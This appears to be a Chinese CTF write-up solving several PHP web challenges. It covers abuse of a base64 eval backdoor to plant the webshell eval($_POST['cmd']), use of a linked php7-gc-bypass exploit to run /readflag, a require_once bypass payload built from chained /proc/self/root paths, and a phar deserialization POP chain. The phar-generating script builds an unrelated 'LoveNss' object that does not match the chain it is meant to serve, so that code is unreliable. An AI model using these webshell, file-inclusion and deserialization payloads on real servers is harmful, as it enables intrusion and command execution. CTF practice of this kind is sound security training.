代码审计
这段代码定义了一个名为
ClassName
的类,并在脚本的最后创建了一个ClassName
类的实例。在
ClassName
类的构造函数中,首先通过调用$this->x()
方法获取了请求参数$_REQUEST
中的值,并将其赋值给$this->code
属性。接下来,使用base64_decode()
函数对$this->code
进行解码,将解码后的结果赋值给$this->decode
属性。最后,使用eval()
函数执行$this->decode
中的代码。
ClassName
类还定义了一个名为x()
的公共方法,它返回$_REQUEST
数组,即包含了所有请求参数的关联数组。最后,通过
new ClassName()
创建了一个ClassName
类的实例,从而触发了构造函数的执行。
关键代码:
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
大概意思就是,传参Ginkgo,并进行base64编码,就可以执行eval函数
试试看 传参Ginkgo=phpinfo();
?Ginkgo=cGhwaW5mbygpOw==
看一下限制函数
过滤了很多东西,利用一句话木马来连接蚁剑,然后找flag
本题前面有eval还增加eval原因是eval是把内容当作php代码执行写入$_POST[cmd]就不是一句话木马了,所以再增加一个
eval($_POST['cmd']);
/?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=
连接发现有一个flag文件有一个realflag文件
打开发现flag文件没东西,readflag是乱码
到这里有两种做法,一是利用蚁剑的插件进行读取
二是利用phpinfo版本漏洞的exp进行读取
我用的是法2,法1不知道为什么用不了
看phpinfo发现版本是7.3.18,这个版本有漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令,影响范围为linux,php7.0-7.3
exp:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
拉下来后修改,改为执行readflag
然后把他写在/tmp
文件夹,因为只有他有写的权限777
上传exp,并将执行命令改成 pwn("/readflag");
include('/tmp/1.php'); 进行base64编码
进行传参 ?Ginkgo=aW5jbHVkZSgnL3RtcC8xLnBocCcpOw==
得到flag
上传一句话木马
上传.htassecc文件发现被限制
抓包改,发现上传成功,在上传一个图片马就结束了
利用js标签上传成功,他对php短标签还有过滤
发现上传成功,看phpinfo();找信息
得到flag
看到是xxe注入,也就是xml注入,好久没看过了
先推荐两篇大佬的博客给大家,没有系统的学过xxe
这个大佬通过这道题讲了xxe
[NCTF2019]Fake XML cookbook XML注入_双层小牛堡的博客-CSDN博客
通过构造的payload看到了文件内容
直接读取flag,就得到了flag
打开又是空的,看到了url有?file传参
发现传伪协议进去也没得用,用dirsearch扫也没扫到
尝试用伪协议访问一下index.php(只有伪协议能试试了)
一直是没回显,等到我传var/www/html/inedx.php的时候终于有了回显、
因为输入什么都没有回显,并且传马也是传不上去
猜测是require_once(),尝试绕过它
(require_once(),如果文件已包含,则不会包含,会生成致命错误(E_COMPILE_ERROR)并停止脚本)
先来了解一下PHP文件包含机制:
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过include_once限制。
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接 cwd 文件是一个指向当前进程运行目录的符号链接 /proc/self/cwd 返回当前文件所在目录
尝试用/proc/self/root连接回/使用脏数据绕过看看
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
使用伪协议来读取文件,构造payload:
index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
终于有了回显
得到了源码
error_reporting(0);
include 'flag.php';
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include_once $file;
} else {
die('error.');
}
}
尝试读取flag
得到flag
之前考核做过phar的题也是文件上传,正好再复习一下
【精选】文件上传与Phar反序列化的摩擦_phar文件上传_Aiwin-Hacker的博客-CSDN博客
打开是一个什么文件管理器
上马发现不行
在查看文件里查询class.php,发现源码
class aa{
public $name;public function __construct(){
$this->name='aa';
}public function __destruct(){
$this->name=strtolower($this->name);
}
}class ff{
private $content;
public $func;public function __construct(){
$this->content="\";
}public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}class zz{
public $filename;
public $content='surprise';public function __construct($filename){
$this->filename=$filename;
}public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}class xx{
public $name;
public $arg;public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}public function __call($name,$arg){
$name($arg[0]);
}
}
还是,构造pop链,然后构造poc
既然是反序列化,那么就需要寻找入口点,ff类的__get魔术方法好像可以构造命令执行,刚好ff类有私有的 content参数用于触发__get方法,那么整条Pop链就是:
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
主要是要通过write触发__get方法。
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
$this->cmd="system('cat /flag');";
}
}
$a = new LoveNss();
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
通过脚本,生成phar文件
file=phar://upload/46aafa512d96f9be5726b5d9d777906d.txt&method=write&var=content&cmd=ls /
得到flag